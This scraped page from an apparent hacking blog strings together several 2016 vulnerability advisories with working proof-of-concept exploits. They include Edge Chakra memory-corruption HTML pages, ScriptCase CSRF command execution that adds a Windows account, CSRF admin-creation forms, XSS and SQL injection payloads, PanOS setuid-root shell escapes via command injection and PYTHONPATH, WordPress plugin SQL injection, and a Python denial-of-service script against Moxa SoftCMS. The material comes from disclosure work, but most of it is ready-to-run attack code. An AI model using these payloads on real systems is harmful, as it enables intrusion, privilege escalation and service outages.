Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863109227

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

<!--
Source: http://www.security-assessment.com/files/documents/advisory/edge_chakra_mem_corruption.pdf

Name: Microsoft Edge Scripting Engine Memory Corruption Vulnerability (MS16-129)
CVE: CVE-2016-7202
Vendor Website: http://www.microsoft.com/
Date Released: 09/11/2016
Affected Software: Microsoft Windows 10, Microsoft Windows Server 2016
Researchers: Scott Bell

Description

A memory corruption vulnerability was identified in the Microsoft Edge Chakra JavaScript engine which could
allow a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the
current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can
generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this
are often hosted on legitimate websites which have been compromised by other means.

The following table shows some cursory debug information:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00040001 ebx=01b1e760 ecx=00000012 edx=00000006 esi=00000000 edi=03f60000
eip=6a714bea esp=0328fa80 ebp=0328fab0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
jscript9!Recycler::ScanObject+0x23:
6a714bea 8b37 mov esi,dword ptr [edi] ds:0023:03f60000=????????
2:046> k
ChildEBP RetAddr
0328fab0 6a589768 jscript9!Recycler::ScanObject+0x23
0328facc 6a58973a jscript9!Recycler::TryMarkBigBlockList+0x22
0328faf0 6a589d83 jscript9!Recycler::ScanArena+0x7a
0328fb24 6a585f4c jscript9!Recycler::BackgroundFindRoots+0x8e
0328fb34 6a561263 jscript9!Recycler::DoBackgroundWork+0x103
0328fb60 6a6b162c jscript9!Recycler::ThreadProc+0xd1
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Windows\system32\msvcrt.dll -
0328fb98 775c1287 jscript9!Recycler::StaticThreadProc+0x1c
WARNING: Stack unwind information not available. Following frames may be wrong.
0328fbd0 775c1328 msvcrt!itow_s+0x4c
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Windows\system32\kernel32.dll -
0328fbd8 7793ef1c msvcrt!endthreadex+0x6c
0328fbe4 777e3648 kernel32!BaseThreadInitThunk+0x12
0328fc24 777e361b ntdll!__RtlUserThreadStart+0x70
0328fc3c 00000000 ntdll!_RtlUserThreadStart+0x1b

The following proof of concept code can be used to reproduce the vulnerability:
-->

<html>
<META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT">
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5">
<body>
<script>try{
for(var z in "a") a1.set(a1, '' );
Array.prototype.sort.call(a1, 'a', a1)
a1 = this;
a2 = [];
a1 = a2.concat(a1.a1);
var a1 = new Iterator(a1);
a1.add(a1);
for (let zzz = 0; zzz < 117; ++zzz) {a1.unshift(a2, a1);}
a1.reverse();
Array.prototype.reverse.call(a1);
a1.splice(1, 10);
}catch(e){};</script>
</body>
</html>

<!--

Solution
M
icrosoft validated this security issue and issued a patch (MS16-129) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high
quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of
the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and
government. Our aim is to provide the very best independent advice and a high level of technical expertise while
creating long and lasting professional relationships with our clients.
Security-Assessment.com is committed to security research and development, and its team continues to identify
and responsibly publish vulnerabilities in public and private software vendor's products. Members of the
Security-Assessment.com R&D team are globally recognised through their release of whitepapers and
presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:

Web www.security-assessment.com
Email info@security-assessment.com
-->
            
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/SCRIPTCASE-PHP-WEB-TOOL-MULTIPLE-VULNERABILITIES.txt

[+] ISR: ApparitionSec



Vendor:
==================
www.scriptcase.net



Product:
===================
ScriptCase
v8.1.053, v8.1.051, v8.1.43.0

scriptcase_install_en_us_v8.1.053.exe
hash: ceaba1fce05556b82ab37582a7c907f4

scriptcase_install_en_us_v8.1.051.exe
hash: c3c9fbe085ab5462304c0c73c8698946


ScriptCase RAD is a development platform for PHP applications, is web
oriented and can be installed in a server in the internet.



Vulnerability Type:
=============================
CSRF Remote Command Execution
CSRF Add Admin
SQL Injection
Cross Site Scripting
Local Privlege Escalation (Insecure File Permissions)
User Enumeration / Token Bypass

Downloaded latest version v8.1.053, and still vulnerable.



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

[CSRF Remote Command Execution]
Scriptcase has a remote command execution ailment via CSRF, if an
authenticated user clicks an attacker link etc. This can allow attackers
to run arbitrary system commands on the affected host and do things like
add accounts etc.

Scriptcase PHP code uses encryption / obfuscated so its not easy testing
but we can see here the error returned for PHP eval()'d code
when injecting an Array [] brackets or something as paremeter.

Parse error: syntax error, unexpected end of file, expecting ']' in C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase\devel\lib\php\functions2.inc.php(358) : eval()'d code on line 1

After trying to wrap a Windows system call in backtick "`" operators it
worked perfectly. This allowed me to add an arbitrary system
account to the affected system.



[CSRF]
There are several cross site request forgery vectors, allowing attackers to
add an Admin account to Scriptcase application etc.


[Cross Site Scripting]
Multiple XSS entry points exists within the vulnerable application both GET
and POST.

Example XSS vulnerable scriptcase code 'ajax_cod_apls' is not santized
before being processed by ajax HTTP post request.

$.ajax({
type: 'POST',
url: '/scriptcase/devel/iface/generate.php',
data:
'compile_app_ajax=S&gen_option=console&targ_frame=_self&console=yes&ajax_cod_apls='
+ str_open_apps,
success: function(s_result){
a_result = s_result.split('__compile_ajax_sep_row__');
nm_compile_gerar();
}
});



[Local Privilege Escalation]
scriptcase uses weak insecure file permissions as the “Everyone” group has
full access on it. Allowing low privileged users to
execute arbitrary code in the security context of ANY other users with
elevated privileges on the affected system.

"Everyone" encompasses all users who have logged in with a password as well
as built-in, non-password protected accounts such as Guest
and LOCAL_SERVICE.Any user (even guest) will be able to replace, modify or
change the file. This would allow an attacker the ability
to inject code or replace scriptcase used executables and have it run in
the context of the system.



[User Enumeration]
On failed scriptcase login the application returns one of the following in
the HTTP response.

"The login name provided is not registered on the system."
On a failed password but correct user name entered application HTTP
response returns.
"The password is incorrect."




Exploit code(s):
===============

[CSRF Remote Command Execution]

Note: we NEED to use backtick operators "`"

http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start net user EVIL abc123 /add`

Verify...

c:\> net user

User accounts for \\hyp3rlinx
------------------------------------------------------------------------
Administrator hyp3rlinx Guest
EVIL Test Privileged-User


2) start Windows 'calc.exe'
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`calc.exe`

OR

http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start
calc.exe`

**sometimes "calc.exe" doesnt appear but it is running use "tasklist /v |
findstr calc.exe" to verify it is in fact running.


4) Apache DOS (needs httpd environmental variable set)
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`taskkill /f /im httpd.exe`



[SQL Injection]

AND boolean-based blind - WHERE or HAVING clause in 'nrLinhas' parameter "10 AND 2=2"

<form action="http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php" method="post">
<input type="hidden" name="nOpc" value="1">
<input type="hidden" name="nOpr" value="0">
<input type="hidden" name="nColOrd" value="1">
<input type="hidden" name="nLogin" value="">
<input type="hidden" name="nFiltro" value="2">
<input type="hidden" name="filtroTipo" value="2">
<input type="hidden" name="filtroTexto" value="1">
<input type="hidden" name="nrLinhas" value="10 AND 2=2">
<input type="hidden" name="nrInicio" value="0">
<input type="hidden" name="maxReg" value="1">
<script>document.forms[0].submit()</script>
</form>



[CSRF Add Admin]

<form name="form_user" action=" http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php" method="POST">
<input type="hidden" name="nOpc" value="2">
<input type="hidden" name="nOpr" value="2">
<input type="hidden" name="nLogin" value="hyp3rlinx">
<input type="hidden" name="nMail" value="pwn@Done.com">
<input type="hidden" name="nPass[]" value="abc123">
<input type="text" name="nPass[]" value="abc123"/>
<input type="text" name="privBox%5B%5D" value="Priv_Admin" />
<input type="hidden" name="privBox%5B%5D" value="Priv_Proj" />
<input type="hidden" name="privBox%5B%5D" value="Priv_DataDictionary" />
<input type="hidden" name="privBox%5B%5D" value="Priv_Exec">
<input type="hidden" name="privBox%5B%5D" value="Priv_Export">
<input type="hidden" name="privBox%5B%5D" value="Priv_Library">
<input type="hidden" name="privBox%5B%5D" value="Priv_Reports">
<input type="hidden" name="privBox%5B%5D" value="Priv_Locales">
<input type="hidden" name="privBox%5B%5D" value="Priv_Publish">
<input type="hidden" name="privBox%5B%5D" value="Priv_Aba">
<input type="hidden" name="privBox%5B%5D" value="Priv_Blank">
<input type="hidden" name="privBox%5B%5D" value="Priv_Calendar">
<input type="hidden" name="privBox%5B%5D" value="Priv_Chart">
<input type="hidden" name="privBox%5B%5D" value="Priv_Cons">
<input type="hidden" name="privBox%5B%5D" value="Priv_Container">
<input type="hidden" name="privBox%5B%5D" value="Priv_Ctrl">
<input type="hidden" name="privBox%5B%5D" value="Priv_Filt">
<input type="hidden" name="privBox%5B%5D" value="Priv_Edit">
<input type="hidden" name="privBox%5B%5D" value="Priv_Menu">
<input type="hidden" name="privBox%5B%5D" value="Priv_ReportPdf">
<input type="hidden" name="privBox%5B%5D" value="Priv_DbManager">
<input type="hidden" name="privBox%5B%5D" value="Priv_DbConvert">
<input type="hidden" name="privBox%5B%5D" value="Priv_SQLBuilder">
<input type="hidden" name="privBox%5B%5D" value="Priv_Connection">
<input type="hidden" name="hidden" value="New User">
<script> document.forms[0].submit()</script>
</form>


[CSRF mysql connect creation wizard]

<form action="
http://127.0.0.1:8081/scriptcase/devel/iface/admin_sys_allconections_create_wizard.php" method="post">
<input type="hidden" name="ajax" value="S"/>
<input type="hidden" name="set_charset" value="S"/>
<input type="hidden" name="dbms" value="mysql"/>
<input type="hidden" name="sgdb" value="pdo_mysql"/>
<input type="hidden" name="exit" value="S"/>
<input type="hidden" name="host" value="127__DOT__0__DOT__0__DOT__1:3306"/>
<input type="hidden" name="usr" value="root"/>
<input type="hidden" name="pwd" value=""/>
<input type="hidden" name="db" value="mysql"/>
<script>document.forms[0].submit()</script>
</form>



[Cross Site Scripting] - Successful in Firefox

XSS 1)

http://127.0.0.1:8081/scriptcase/devel/iface/app_import.php?option=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


XSS 2)

http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


XSS 3)

<form action="http://127.0.0.1:8081/scriptcase/devel/iface/generate.php"
method="post">
<input type="hidden" name="compile_app_ajax" value="S"/>
<input type="hidden" name="gen_option" value="console"/>
<input type="hidden" name="targ_frame" value="_self"/>
<input type="hidden" name="console" value="yes"/>
<input type="hidden" name="ajax_cod_apls"
value="<script>alert(document.cookie)</script>"/>
<script>document.forms[0].submit()</script>
</form>


XSS 4)

<form action="http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php"
method="post">
<input type="hidden" name="nOpc" value="1">
<input type="hidden" name="nOpr" value="0">
<input type="hidden" name="nColOrd" value="1">
<input type="hidden" name="nLogin" value="">
<input type="hidden" name="nFiltro" value="2">
<input type="hidden" name="filtroTipo" value="2">
<input type="hidden" name="filtroTexto"
value='"/><script>alert(document.cookie)</script>'>
<input type="hidden" name="nrLinhas" value="10">
<input type="hidden" name="nrInicio" value="0">
<input type="hidden" name="maxReg" value="1">
<script>document.forms[0].submit()</script>
</form>



[Local Privilege Escalations]

Proof.

C:\Program Files (x86)\NetMake\v81\components>cacls * | findstr Everyone |
more
C:\Program Files (x86)\NetMake\v81\components\apache Everyone:(ID)F

Everyone:(OI)(CI)(IO)(ID)
C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x64.msi
Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x86.msi
Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\components\php Everyone:(ID)F
Everyone:(OI)(CI)(IO)(ID)F


C:\Program Files (x86)\NetMake\v81\wwwroot>cacls * | findstr Everyone | more
C:\Program Files (x86)\NetMake\v81\wwwroot\favicon.ico Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot\index.php Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot\robots.txt Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase Everyone:(ID)F

Everyone:(OI)(CI)(IO)(ID)F



[User Account Enumeration / Token Bypass]

First off the stupid token used on the login FORM e.g. "form_login=<TOKEN>"
is totally useless you can put anything you like in it
and the application will happily process the request.


CURL Enumeration 1)
curl -i -v -X POST
http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d
field_user=BOZO -d field_pass=1 -d ajax=nm -d option=login -d
form_login=STUPID-TOKEN -d language=en_US

HTTP Response:
"error1:The login name provided is not registered on the system."

CURL Enumeration 2)
curl -i -v -X POST
http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d
field_user=admin -d field_pass=1 -d ajax=nm -d option=login -d
form_login=STUPID-TOKEN -d language=en_US

HTTP Response:
"error1:The password is incorrect."

Either way we know when we hit a valid account.



Disclosure Timeline:
=========================================
Vendor Notification: October 13, 2016
Vendor acknowledgement: October 14, 2016
Vendor request POC video: October 14, 2016
Sent vendor video link: October 14, 2016
Request update from vendor: October 17, 2016
Vendor reply: "under review"
Vendor requests video again: October 25, 2016
Request update from vendor: October 30, 2016
Vendor reply: "No information"
Request ETA: November 7, 2016
Request status: November 14, 2016
Vendor Unresponsive No More Replies
November 20, 2016 : Public Disclosure



Exploitation Technique:
=======================
Remote / Local



Severity Level:
================
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=908
Palo Alto Networks have published a fix for this issue: http://securityadvisories.paloaltonetworks.com/Home/Detail/68

PanOS uses a modified version of the appweb3 embedded webserver, it's used for
a variety of tasks and is enabled by default. I've noticed a bug in the core utility routine mprItoa:

char *mprItoa(char *buf, int size, int64 value, int radix);

https://embedthis.com/appweb/doc-3/ejs/api/mpr.html#mpr_8h_1c44ccf179c55dbbcf7aa04ba86090463

The size parameter is documented to be the size of the buffer at *buf, but if
the value exceeds that it will write one more byte than that as a nul
terminator.

Note that appweb3 has been EOL since 2012 and no longer receives security
updates and is not supported by the developer, so security maintenance is the
responsibility of Palo Alto Networks. It seems crazy to ship a EOL web server,
but whatever.

I've found an unauthenticated php script that an attacker call force to invoke
mprItoa() on a default installation at /unauth/php/errorPage.php, it can be
called like so:

/unauth/php/errorPage.php?code=1e16

This example should corrupt the stored GOT pointer, resulting in some
unexpected routine being called on the attacker-controlled MaResponse object,
and crashing with some heap corruption.

*** glibc detected *** /usr/local/bin/appweb3: double free or corruption (out): 0x08229e98 ***
======= Backtrace: =========
/lib/libc.so.6[0xf7ee8786]
/lib/libc.so.6(cfree+0x59)[0xf7ee8bb9]
/usr/local/bin/../lib/3p/libappweb3.so.1(maFillHeaders+0x128)[0xf7e64c58]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e6793b]
/usr/local/bin/../lib/3p/libappweb3.so.1(maServiceQueue+0x28)[0xf7e608f8]
/usr/local/bin/../lib/3p/libappweb3.so.1(maServiceQueues+0x38)[0xf7e5f438]
/usr/local/bin/../lib/3p/libappweb3.so.1(maRunPipeline+0x37)[0xf7e5f497]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e6346d]
/usr/local/bin/../lib/3p/libappweb3.so.1(maProcessReadEvent+0x27f)[0xf7e63e0f]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e5ad74]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e36afd]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e3607c]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e30c6f]
/usr/local/bin/../lib/3p/libappweb3.so.1(threadProcWrapper+0x36)[0xf7e31296]
/lib/libpthread.so.0[0xf6e9b6e1]
/lib/libc.so.6(clone+0x5e)[0xf7f52aee]
======= Memory map: ========
08048000-0804c000 rwxp 00000000 08:02 67709                              /usr/local/bin/appweb3
0804c000-095e5000 rwxp 00000000 00:00 0                                  [heap]
f1c00000-f1cd0000 rwxp 00000000 00:00 0 

etc.
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=913
This was fixed by PAN: http://securityadvisories.paloaltonetworks.com/Home/Detail/67

The root_reboot utility is setuid root, but performs multiple calls to system() with attacker controlled data, such as this one:

.text:0804870F C7 44 24 04 78+                mov     dword ptr [esp+4], offset aUsrLocalBinPan ; "/usr/local/bin/pan_elog -i 1 -e 3 -s 4 "...
.text:08048717 89 04 24                       mov     [esp], eax      ; char **
.text:0804871A E8 0D FE FF FF                 call    _asprintf
.text:0804871F 8B 45 E8                       mov     eax, [ebp+new]
.text:08048722 85 C0                          test    eax, eax
.text:08048724 0F 84 B9 01 00+                jz      loc_80488E3
.text:0804872A 89 04 24                       mov     [esp], eax      ; command
.text:0804872D E8 9A FD FF FF                 call    _system

Which is trying to do this:

  if (setuid(0) < 0)
  {
    fprintf(stderr, "%s: Can't setuid to reboot system\n");
  }
  if (reason) {
   asprintf(&new, "/usr/local/bin/pan_elog -i 1 -e 3 -s 4 -m \"The system is shutting down due to %s.\"", reason);
   system(new);
   free(new);
  }

This is trivially exploitable, for example:


$ ls -l /usr/local/bin/root_reboot 
-rwsr-xr-x 1 root root 16275 Oct 17  2014 /usr/local/bin/root_reboot
$ root_reboot --restart '"; bash -i; echo "'
# id
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)

Palo Alto pointed out that they had already fixed this bug in an update that I needed to apply:

https://securityadvisories.paloaltonetworks.com/Home/Detail/45

However, looking at the fix they had essentially just checked that each character in the "reason" parameter was alphanumeric or white space. This does not prevent exploitation, you can just do this:

$ env SHELLOPTS=xtrace PS4='$(id)' root_reboot --restart whatever
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=912

The setuid root executable /usr/local/bin/root_trace essentially just does setuid(0) then system("/usr/local/bin/masterd"), which is a python script:

$ ls -l /usr/local/bin/root_trace 
-rwsr-xr-x 1 root root 12376 Oct 17  2014 /usr/local/bin/root_trace

As the environment is not scrubbed, you can just do something like this:

$ cat /tmp/sysd.py
import os
os.system("id")
os._exit(0);

$ PYTHONPATH=/tmp root_trace
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)

This was fixed by PAN:

http://securityadvisories.paloaltonetworks.com/Home/Detail/67
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=934

There is a heap overflow in Array.splice in Chakra.

When an array is spliced, and overflow check is performed, but ArraySpeciesCreate, which can execute code and alter the array is called after this. This can allow an Array with boundaries that cause integer overflows to be spliced, leading to heap overflows in several situations.

A minimal PoC is as follows and a full PoC is attached.

var a = [];

class dummy{}

a.length = 200000;
a.fill(7, 10000, 10200);

var o = {};

Object.defineProperty(o, 'constructor', {
    get: function() {
      a.length = 0xfffffffe;
      var k = [];
      k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
      return dummy;
    }
  });

a.__proto__ = o;

var q = [];
q.length = 500;
q.fill(7.7);

var j = [];

a.length = 0xfffffffe - 500;

j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;

This PoC is a bit unreliable, it may need to be refreshed a few times to crash.
-->

<html>
<head>
<meta http-equiv="refresh" content="1">
</head> 

<body>
<script>


var a = [];

class dummy{}


a.length = 200000;
a.fill(7, 10000, 10200);

var o = {};
  Object.defineProperty(o, 'constructor', {
    get: function() {
      a.length = 0xfffffffe;
      var k = [];
      k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
      return dummy;
    }
  });

a.__proto__ = o;

var q = [];
q.length = 500;
q.fill(7.7);

var j = [];

a.length = 0xfffffffe - 500;


j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;


</script>
</body>
</html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=925

There is an overflow when reversing arrays in Chakra.

On line 5112 of JavascriptArray::EntryReverse, the length of the array is fetched and stored. It is then passed as a parameter into JavascriptArray::ReverseHelper, which then calls FillFromPrototypes, which can change the size of the array. If the size of the array is set to be larger than it was when the length was fetched, the calculation of the array segment head left value on line 5219:

     seg->left = ((uint32)length) - (seg->left + seg->length);

Can become a very large value (as length is larger than seg->length and seg->left is generally 0). This can cause the segment length to become larger than the segment size the next time SparseArraySegmentBase::EnsureSizeInBound is called, as the method contains the following code:

        uint32 nextLeft = next ? next->left : JavascriptArray::MaxArrayLength;
        Assert(nextLeft > left);

        if(size != 0)
        {

            size = min(size, nextLeft - left);
        }

nextLeft can be smaller than the segment length if next is null and left is very large, leading size to be set to a small value which is less than the segment length. Many other methods, including setting an element of an array assume that size is less than length, and often allocate size bytes then copy length bytes, leading to an overflow if length is actually more than size.

A minimal PoC is as follows:

var a = [1];
a.length = 1000;
var j = [];

var o = {};
  Object.defineProperty(o, '1', {
    get: function() {
      a.length = 1002;
      j.fill.call(a, 7.7);
      return 2;
    }
  });

a.__proto__ = o;

var r = j.reverse.call(a);
r.length = 0xfffffffe;
r[0xfffffffe - 1] = 10;

A full PoC is attached. Note that this PoC sometimes needs to be refreshed a few times to cause a crash.
-->

<html>
<head><meta http-equiv="refresh" content="1">
</head>
<body>
<script>

var a = [1];
a.length = 1000;
var j = [];


var o = {};
  Object.defineProperty(o, '1', {
    get: function() {
      //alert('get!');
      a.length = 1002;
      j.fill.call(a, 7.7);
      return 2;
    }
  });

a.__proto__ = o;

var place = [];
for(var i = 0; i < 10; i++){
var r = j.reverse.call(a);
r.length = 0xfffffffe;
r[0xfffffffe - 1] = 10;
var q = [1,2,3,4,5,6,7,8,9,10];
place.push(q);
}
//alert(place.join());

</script>
</body>
</html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=922

There is an info leak in Array.filter. In Chakra, the destination array that arrays are filtered into is initialized using ArraySpeciesCreate, which can create both native and variable arrays. However, the loop that calls the filter function assumes that the destination array is a variable array, and sets each value using DirectSetItemAt, which is unsafe, and can lead to a var pointer being written to an integer array. A PoC is as follows and attached:


var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{

	constructor(){

		return d;
        }
}

class MyArray extends Array {

  static get [Symbol.species]() { 
  return dummy; 
}
}

var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);

function test(i){

	return true;	
}


a.__proto__ = MyArray.prototype;

var o = a.filter(test);
var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

class MyArray extends Array {
  // Overwrite species to the parent Array constructor
  static get [Symbol.species]() { 

	alert("get");
        b[0] = {};
  return dummy; }
}

var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);


function test(i){

	return true;	

}



a.__proto__ = MyArray.prototype;

var o = a.filter(test);
alert(o);
var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

</script></body></html>

https://bugs.chromium.org/p/project-zero/issues/detail?id=922#c1

I looked a bit more into this issue, and I think it can actually be used to corrupt the heap too. The issue is that DirectSetItemAt is called on an int array when it thinks it's a Var array. But since elements of a Var array are twice as wide as elements of the int array, setting items at indexes larger than half the array length will write outside of the allocated array. I've attached a sample that crashes Edge and demonstrates the overflow.
-->

<html>
<body>
<script>

var b = new Array(1,2,3);
var d = new Array(1,2,3);
d.length = 0x200000;
d.fill(7);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

class MyArray extends Array {
  // Overwrite species to the parent Array constructor
  static get [Symbol.species]() { 

	alert("get");
        b[0] = {};
  return dummy; }
}

var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);

for(var i = 0; i < 0x200000; i++){
    a[i] = i;

}

function test(i){

	return true;	

}



a.__proto__ = MyArray.prototype;

var o = a.filter(test);
alert(o);
var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

</script>
</body>
</html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=945

JavascriptArray::FillFromPrototypes is a method that is used by several Javascript functions available in the browser to set the native elements of an array to the values provide by its prototype. This function calls JavascriptArray::ForEachOwnMissingArrayIndexOfObject with the prototype of the object as a parameter, and if the prototype of the object is an array, it assumes that it is a Var array. While arrays are generally converted to var arrays if they are set as an object's prototype, if an object's prototype is a Proxy object, it can return a parent prototype that is a native int array. This can lead to type confusing, allowing an integer to be treated as an absolute pointer, when JavascriptArray::FillFromPrototypes is called. A minimal PoC is as follows, and a full PoC is attached.

var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);

var handler = {
    getPrototypeOf: function(target, name){
	return a;
    }
};

var p = new Proxy([], handler);
var b = [{}, [], "natalie"];

b.__proto__ = p;
b.length = 4;

a.shift.call(b);
 // b[2] is type confused
-->

<html>
<body>
<script>

var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);

var handler = {
    getPrototypeOf: function(target, name){
       // print("get proto");
	return a;
    }
};

var p = new Proxy([], handler);
var b = [{}, [], "natalie"];

b.__proto__ = p;
b.length = 4;

a.shift.call(b);
print(a.shift.call(b[2]));

</script>
</body>
</html>
            
# Exploit Title: Product Catalog 8 1.2 Plugin WordPress – Sql Injection
# Date: 12/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/product-catalog-8/
# Software Link: https://wordpress.org/plugins/product-catalog-8/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.2
# Tested on: Windows 8.1

1 - Description:

$_POST[ ‘selectedCategory’ ] is not escaped.
UpdateCategoryList() is accessible for any user.

http://lenonleite.com.br/en/blog/2016/11/18/product-catalog-8-plugin-wordpress-sql-injection/

2 - Proof of Concept:

<form method="post" action="http://target/wp-admin/admin-ajax.php">
<input type="text" name="selectedCategory" value="0 UNION SELECT 1,2,3,4,5,6 FROM wp_terms WHERE term_id=1">
<input type="text" name="action" value="UpdateCategoryList">
<input type="submit" value="Send">
</form>

3 - Timeline:

12/11/2016 - Discovered
12/11/2016 - vendor not found

-- 
Atenciosamente

Lenon Leite
            
# Exploit Title: BBS e-Franchise 1.1.1 Plugin of WordPress – Sql Injection
# Date: 12/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/bbs-e-franchise/
# Software Link: https://wordpress.org/plugins/bbs-e-franchise/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.1.1
# Tested on: Windows 8.1

1 - Description:

$_GET[‘uid’] is not escaped. Url is accessible for any user.
I will have find post or page that usage plugin, that use shortcode

http://lenonleite.com.br/en/blog/2016/11/18/bbs-e-franchise-1-1-1-plugin-of-wordpress-sql-injection/


2 - Proof of Concept:

http://target/2016/09/26/ola-mundo-2/?uid=0+UNION+SELECT+1,2,3,4,name,6,7,8,9,10,11,12,13,14,15,slug,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+FROM+wp_terms+WHERE+term_id=1


3 - Timeline:
12/11/2016 - Discovered
12/11/2016 - vendor not found
            
'''
# Title: Moxa SoftCMS 1.5 AspWebServer Denial of Service Vulnerability
# Author: Zhou Yu
# Email: 504137480@qq.com
# Vendor: http://www.moxa.com/
# Versions affected: 1.5 or prior versions
# Test on: Moxa SoftCMS 1.5 on Windows 7 SP1 x32
# CVE: CVE-2016-9332
# Advisory: https://ics-cert.us-cert.gov/advisories/ICSA-16-322-02

Vulnerability Description:
AspWebServer does not properly validate input. An attacker could provide unexpected values and cause the program to crash or excessive consumption of resources could result in a denial-of-service condition.


Vulnerability Discovery Method:
With the help of kitty fuzzing framework, we are able to find some vulnerabilities of the AspWebServer when parsing HTTP GET request. Details of the fuzzer scripts and output can be found here: https://github.com/dazhouzhou/ICS-Vulnerabilities/tree/master/Moxa/SoftCMS .
'''

import socket
host = '192.168.124.128'    
port = 81

# extracted four payloads from crashes that can crash the AspWebServer.exe
payload1 = 'GET /\ HTTP/1.1\r\n\r\n'
payload2 = 'GET \x00 HTTP/1.1\r\n\r\n'
payload3 = 'GET \n HTTP/1.1\r\n\r\n'
payload4 = 'GET /. HTTP/1.1\r\n\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload1)
s.close()
            
# -*- coding: utf-8 -*-

# Exploit Title: FTPShell Client v5.24 PWD Remote Buffer Overflow
